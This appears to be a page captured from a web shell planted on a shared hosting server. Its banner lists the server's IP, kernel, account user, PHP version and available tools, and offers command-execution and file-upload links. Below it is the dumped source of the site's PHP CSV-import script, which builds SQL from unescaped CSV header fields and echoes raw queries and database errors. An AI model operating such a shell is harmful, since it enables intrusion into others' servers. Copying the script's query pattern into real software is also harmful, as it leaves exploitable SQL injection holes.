|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../MC/templates/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once 'code/init.php';
if(isset($_FILES['csv']) && $_FILES['csv']['error'] == 0)
{
dbi_query("TRUNCATE client_test") ;
$csv = file($_FILES['csv']['tmp_name']) ;
$csv = array_map('trim', $csv) ;
$cols = '(`'.join('`, `', explode(';', $csv[0])).'`, agence_id)' ;
unset($csv[0]) ;
foreach($csv as $l)
dbi_query("INSERT INTO client $cols VALUES ('".join("', '", array_map('addslashes', explode(';', $l)))."', $agence)") ;
echo "INSERT INTO client $cols VALUES ('".join("', '", explode(';', $l))."', $agence) ".mysql_error()."\n" ;
}
?>
<form action="csv.php" method="post" enctype="multipart/form-data">
<input type="file" name="csv"> <input type="submit" class="bigbutton" onClick="this.disabled=true;this.form.submit();">
</form>